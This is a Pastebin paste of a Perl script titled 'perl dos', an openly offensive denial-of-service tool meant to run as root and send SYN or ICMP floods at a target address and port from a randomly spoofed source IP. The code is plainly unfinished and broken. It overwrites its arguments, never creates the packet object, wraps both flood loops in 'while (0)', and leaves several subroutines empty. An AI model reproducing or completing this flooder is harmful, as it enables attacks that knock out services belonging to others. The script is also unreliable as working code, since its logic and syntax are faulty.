xanybarz

perl dos

Mar 18th, 2016
331
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 4.59 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use warnings;
  4. use strict;
  5. use IO::Socket::INET;
  6. use Net::Ping;
  7. use constant TRUE => 1;
  8. use constant FALSE => 0;
  9. my $attacker;
  10. #my $listener;
  11. my $IP;
  12. my $time;
  13. my $AM;
  14. my @prot = ('tcp','udp');
  15. my $IP_P;
  16. my @working;
  17. my $wc = 0;
  18. my $login = (getpwuid $>);
  19. my $icmp_flood;
  20. my $method;
  21. my $duration;
  22. my $spoofed_ip;
  23. my $timestamp;
  24. die "[-] Please run this application as root" if $login ne 'root';
  25. if (!@ARGV)
  26. {
  27.         print "[-] No arguments, nothing to do";
  28.         exit(0);
  29. }
  30. # Type of Methods: [Number of them is going to change very often]
  31. # 0 Default script scans host
  32. # 1 Syn Flood
  33. # 2 ICMP Flood
  34. my @ARGV = ($IP, $IP_P, $method, $time, $duration);
  35. if ($method != 0..2)
  36. {
  37.         print "[-] Your argument doeasn't seem to be right";
  38.         exit;
  39. }
  40. if (!$IP_P == 1..65500)
  41. {
  42.         print "[-] Port doesn't seems to be right";
  43.         exit;
  44. }
  45. my $range = qr/^
  46. (
  47.  (?:                               # first 3 octets:
  48.   (?: 2(?:5[0-5]|[0-4][0-9])\. )   # 200 - 255
  49.   |                                # or
  50.   (?: 1[0-9][0-9]\. )              # 100 - 199
  51.   |                                # or
  52.   (?: (?:[1-9][0-9]?|[0-9])\. )    # 0 - 99
  53.  )
  54.  {3}                               # above: three times
  55.  
  56. (?:                                # 4th octet:
  57.  (?: 2(?:5[0-5]|[0-4][0-9]) )      # 200 - 255
  58.   |                                # or
  59.  (?: 1[0-9][0-9] )                 # 100 - 199
  60.   |                                # or
  61.  (?: [1-9][0-9]?|[0-9] )           # 0 - 99
  62. )
  63.  
  64. $)
  65. /x;
  66. unless ($IP =~ /$range/)
  67. {
  68.         print "[-] IP argument seems to be wrong, terminating \n";
  69.         exit(0);
  70. }
  71. if ($duration > 600)
  72. {
  73.         print "[-]Max limit is only 600 \n";
  74. }
  75. print "[+] Loading modules ... \n";
  76. #No need for that bit of code now
  77. #print "[+] Picking a random host on which program will listen \n";
  78. #my $LP = int(rand (65500)) || die "[-] Hmm there is something odd, better check your perl version \n";
  79. #print "[+] Deploying listener on $LP \n";
  80. #if (
  81. #               $listener = IO::Socket::INET->new(
  82. #                                       Port => $LP,
  83. #                                       Listen => 1,
  84. #                                       Proto => 'tcp',
  85. #                                       Reuse => 1)
  86. #                                       )
  87. #                                       {
  88. #                                               $working[$wc++] = TRUE;
  89. #                                       }
  90. #elsif (undef($working[1]))
  91. #{
  92. #       print "[-] Script failed at creating listener \n";
  93. #       $working[$wc++] = FALSE;
  94. #       return FALSE;
  95. #}
  96. # This part might be faulty :?
  97. print "[+] Spoofing IP adress by randomization \n";
  98. my $A = int(rand(255));
  99. my $B += '.'.int(rand(255));
  100. my $C += '.'.int(rand(255));
  101. my $D += '.'.int(rand(255));
  102. $spoofed_ip = $A.$B.$C.$D;
  103. die "[-] Hmm that's odd can't randomize, check your perl version: $!" if $spoofed_ip !~ /$range/;
  104. print "[+] Sketching SYN flood packet \n";
  105. $attacker->set ({
  106.                         ip => {
  107.                                         saddr => $spoofed_ip,
  108.                                         daddr => $IP,
  109.                                 },
  110.                         tcp => {
  111.                                         source => 139,
  112.                                         dest => $IP_P,
  113.                                         psh => 1,
  114.                                         syn => 1,
  115.                                         },
  116.                                 });
  117. die "[-] Failed at sketching packets: $! \n" if undef($attacker);
  118. die
  119. print "[+] Crafting ping packet against hosts \n";
  120. $icmp_flood = Net::Ping->new("icmp");
  121. #$ping->ping($IP)
  122. print "[+] Checking methods and preparing for attack";
  123. # and &&                or ||
  124. unless ($method != 0)
  125. {
  126.         SYN_Flood() if $_ eq 1;
  127.         ICMP_flood() if $_ eq 2;
  128. }
  129. &Scanner() if $method eq 0;
  130. sub Scanner
  131. {
  132.        
  133. }
  134. sub Timer
  135. {
  136.        
  137. }
  138. sub ICMP_flood
  139. {
  140.         my $timestamp = undef;
  141.         $timestamp = (time + $duration);
  142.         while (0) {
  143.                 $icmp_flood->ping($IP);
  144.                 if (time > $timestamp) {
  145.                         exit(0);
  146.                 }
  147.                 $icmp_flood->ping($IP);
  148.         }
  149.         return FALSE;
  150. }
  151. sub SYN_Flood
  152. {
  153.         $timestamp = undef;
  154.         $timestamp = (time + $duration);
  155.         while (0) {
  156.                 $attacker->send;
  157.                 if (time > $timestamp) {
  158.                         exit(0);
  159.                 }
  160.                 $attacker->send;
  161.         }
  162.         return FALSE;
  163. }
  164. sub Auto_detection
  165. {
  166.        
  167. }
Advertisement
Add Comment
Please, Sign In to add comment